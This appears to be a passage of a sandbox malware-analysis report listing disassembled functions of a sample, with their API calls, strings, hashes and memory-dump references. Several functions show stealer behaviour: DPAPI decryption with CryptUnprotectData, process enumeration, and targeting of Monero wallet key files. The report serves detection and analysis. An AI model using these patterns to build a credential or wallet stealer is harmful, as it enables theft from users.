Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: d2772ea55193eccfe1b45d74d905ed9ac0f88b08a929f696addbcd0a4ccaa0d0
Instruction ID: 316ae44d55492ad85edfd63cca0b24125a06cdcff4b5a9e42e3af4405d3b5fee
Opcode Fuzzy Hash: d2772ea55193eccfe1b45d74d905ed9ac0f88b08a929f696addbcd0a4ccaa0d0
Instruction Fuzzy Hash: 9E12F9719101189BDB18FBA8EC96FED7338FB54304F4041ADA51AD6191EE34AF49CBA3

Function 00C7D205 Relevance: 9.1, Strings: 6, Instructions: 1611COMMON

Download Yara Rule

Strings

DN;, xrefs: 00C7E21B
56oj, xrefs: 00C7DA05
6w~, xrefs: 00C7D317
^Qil, xrefs: 00C7DE41
YpSv, xrefs: 00C7D671
@kf, xrefs: 00C7D2C0

Memory Dump Source

Source File: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 56oj$6w~$@kf$YpSv$^Qil$DN;
API String ID: 0-1169578544
Opcode ID: 699820d881272ff4b7951ccbcbfb1c90636b3942dd3719a720232ba62dc22a13
Instruction ID: 12c8ad73be689ebdc9f88b0327a10cc04db439ac55a8e91139aa35219ee98738
Opcode Fuzzy Hash: 699820d881272ff4b7951ccbcbfb1c90636b3942dd3719a720232ba62dc22a13
Instruction Fuzzy Hash: 27B226F3A0C214AFE3046E2DEC8567AFBE9EF94720F16463DEAC487740E63558058697

Function 00C766B3 Relevance: 7.9, Strings: 5, Instructions: 1608COMMON

Download Yara Rule

Strings

^kNo, xrefs: 00C77314
FfW, xrefs: 00C76968
n`, xrefs: 00C7714B
rj}7, xrefs: 00C76EFA
6??, xrefs: 00C76AA6

Memory Dump Source

Source File: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 6??$FfW$^kNo$n`$rj}7
API String ID: 0-409958692
Opcode ID: 8ed60468f38c7d4fb59efb558dfd7730278258a113a88b6f9b10752c28ed5f1b
Instruction ID: 602c152f51996f89e477f3b7b2d0dbaf12cba56d50c725540d165743444a9cf4
Opcode Fuzzy Hash: 8ed60468f38c7d4fb59efb558dfd7730278258a113a88b6f9b10752c28ed5f1b
Instruction Fuzzy Hash: 77B2E6F360C200AFE304AE2DEC8567ABBE5EF94720F16893DE6C5C7744EA3558418697

Function 008BC820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 008BC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 008BC87C
lstrcat.KERNEL32(?,008D0B46), ref: 008BC943
lstrcat.KERNEL32(?,008D0B47), ref: 008BC957
lstrcat.KERNEL32(?,008D0B4E), ref: 008BC978

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: cf03d097945cddb3f2a1642a7ff878e5b0d4ec8de8cdf7b30f556416c93b0221
Instruction ID: 372564b15d1ce4b4753a87e0a3ac54141b9ca0c66b88ff9e050b7ef9f1bfd5e3
Opcode Fuzzy Hash: cf03d097945cddb3f2a1642a7ff878e5b0d4ec8de8cdf7b30f556416c93b0221
Instruction Fuzzy Hash: 5E417FB590420ADBDB10DFD0DC89BFEBBB8FB48344F1041A9E509E6280D7749A85CF91

Function 008B7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 008B724D
RtlAllocateHeap.NTDLL(00000000), ref: 008B7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 008B7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 008B72A4
LocalFree.KERNEL32(?), ref: 008B72AE

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: e783d18e736d452521b1299011083be2fa94abc4500b34f02fbf966fe6325cae
Instruction ID: 79947a37435cc3e134e14416cf02448838aa4c65f3c333e3d3f948d5f1ccb50b
Opcode Fuzzy Hash: e783d18e736d452521b1299011083be2fa94abc4500b34f02fbf966fe6325cae
Instruction Fuzzy Hash: 1D01EDB5A40208BBDB14DBE4CD45FAD7778EB44704F104155FB09EB2C0D6B0AA01CBA5

Function 008C9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 008C961E
Process32First.KERNEL32(008D0ACA,00000128), ref: 008C9632
Process32Next.KERNEL32(008D0ACA,00000128), ref: 008C9647
StrCmpCA.SHLWAPI(?,00000000), ref: 008C965C
CloseHandle.KERNEL32(008D0ACA), ref: 008C967A

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 5bbf89e7a5efc50df0ff5b49001e88c737947bca57a243ba67e42150c26d87a7
Instruction ID: 100c5dd0ada3259c7466744bf21396aa52e7d2bcc9363defda69754cea0e7acc
Opcode Fuzzy Hash: 5bbf89e7a5efc50df0ff5b49001e88c737947bca57a243ba67e42150c26d87a7
Instruction Fuzzy Hash: 3101E9B5A00208ABCB14DFE5CD48FEDB7F8FB58740F104188E94AD6280D774AA41CF91

Function 00C7ECCE Relevance: 6.7, Strings: 4, Instructions: 1655COMMON

Download Yara Rule

Strings

S$'s, xrefs: 00C7F80F
O!]/, xrefs: 00C7F741
GQ{}, xrefs: 00C7F2C8
@)L, xrefs: 00C7F5D8

Memory Dump Source

Source File: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: @)L$GQ{}$O!]/$S$'s
API String ID: 0-1136137448
Opcode ID: 6dc9c4045fcf144466bf323bae03aa2f7d36f5414ab08782c5ce6a9b51eeb9c6
Instruction ID: 86f9df0db7eb17679dfa90c25543c5752e22830e9979992df4c81be857265e8d
Opcode Fuzzy Hash: 6dc9c4045fcf144466bf323bae03aa2f7d36f5414ab08782c5ce6a9b51eeb9c6
Instruction Fuzzy Hash: D8B2F5F3A0C2149FE304AE2DDC8566AFBE5EF94720F168A3DE6C4C3744EA3558058697

Function 00C74C13 Relevance: 6.6, Strings: 4, Instructions: 1591COMMON

Download Yara Rule

Strings

nFEg, xrefs: 00C753B8
7|c, xrefs: 00C74D83
Dx, xrefs: 00C75CAC
qM/:, xrefs: 00C75A12

Memory Dump Source

Source File: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 7|c$Dx$nFEg$qM/:
API String ID: 0-4089904391
Opcode ID: c5d8afbde7f3787e15ca90bf22e2afcfd8baa07c2dafe2997e22ef110766d419
Instruction ID: 037ac16318a6bfb3c3e8f5267c933ab73131a1e69cb2ed733ba57cc2640edc2d
Opcode Fuzzy Hash: c5d8afbde7f3787e15ca90bf22e2afcfd8baa07c2dafe2997e22ef110766d419
Instruction Fuzzy Hash: 11B204F39082049FE304AE2DDC8567ABBE5EF94720F1A893DEAC5C3744EA3558058797

Function 00C6FE5C Relevance: 6.5, Strings: 4, Instructions: 1472COMMON

Download Yara Rule

Strings

:[~, xrefs: 00C7019D
=xY, xrefs: 00C703AF
1O, xrefs: 00C70F83
*:z6, xrefs: 00C70996

Memory Dump Source

Source File: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: *:z6$1O$:[~$=xY
API String ID: 0-290968451
Opcode ID: 563b42d176fdbc41c5e949215644c3e02ba4873eab68e4184be4311092f0685f
Instruction ID: 172f681afa8c94b85250e6f95e7139ffd78aa5c8e57e2c229a0f207f1a033a1b
Opcode Fuzzy Hash: 563b42d176fdbc41c5e949215644c3e02ba4873eab68e4184be4311092f0685f
Instruction Fuzzy Hash: 2DA205F390C2049FD3046E29EC8566AF7E5EF94720F1A893DEAC487744EA3598058797

Function 008C8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 008CA740: lstrcpy.KERNEL32(008D0E17,00000000), ref: 008CA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,008D05B7), ref: 008C86CA
Process32First.KERNEL32(?,00000128), ref: 008C86DE
Process32Next.KERNEL32(?,00000128), ref: 008C86F3

Part of subcall function 008CA9B0: lstrlen.KERNEL32(?,007B88C8,?,\Monero\wallet.keys,008D0E17), ref: 008CA9C5
Part of subcall function 008CA9B0: lstrcpy.KERNEL32(00000000), ref: 008CAA04
Part of subcall function 008CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008CAA12

Part of subcall function 008CA8A0: lstrcpy.KERNEL32(?,008D0E17), ref: 008CA905

CloseHandle.KERNEL32(?), ref: 008C8761

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 3949afecd9351d26a82611da4b16d771cdace475595d98839df70bb0957b5cd7
Instruction ID: 74d8782d8f804323ea751db1787970c03b9857973b2c4f1a16c413e32bd78263
Opcode Fuzzy Hash: 3949afecd9351d26a82611da4b16d771cdace475595d98839df70bb0957b5cd7
Instruction Fuzzy Hash: 43312C71901218EBCB28EB94DC45FEEB778FB55704F1041ADA50AE6290DB34AA45CFA2

Function 008C8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,008B5184,40000001,00000000,00000000,?,008B5184), ref: 008C8EC0

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 5ab00f4dbad43be1e6040bb1086522cfca86164d1a0602a61d43db772154f419
Instruction ID: e08b82bb9c6121a7915961325abf053536a1c480ee38906ac91e08b0e9883a22
Opcode Fuzzy Hash: 5ab00f4dbad43be1e6040bb1086522cfca86164d1a0602a61d43db772154f419
Instruction Fuzzy Hash: 7511DFB0250208EBDB00CFA4E884FAA37B9FB89314F109458F919CB250DB75E842DB60

Function 008B9AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,008B4EEE,00000000,00000000), ref: 008B9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,008B4EEE,00000000,?), ref: 008B9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,008B4EEE,00000000,00000000), ref: 008B9B2A
LocalFree.KERNEL32(?,?,?,?,008B4EEE,00000000,?), ref: 008B9B3F

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 199ca6c94a1bc334dd0b975370bf8c525877568ce283042ad4b05667d162b09d
Instruction ID: b641395d32620b88735eb9f551b91054d56d7dc876884be2d848b3bd8746ade5
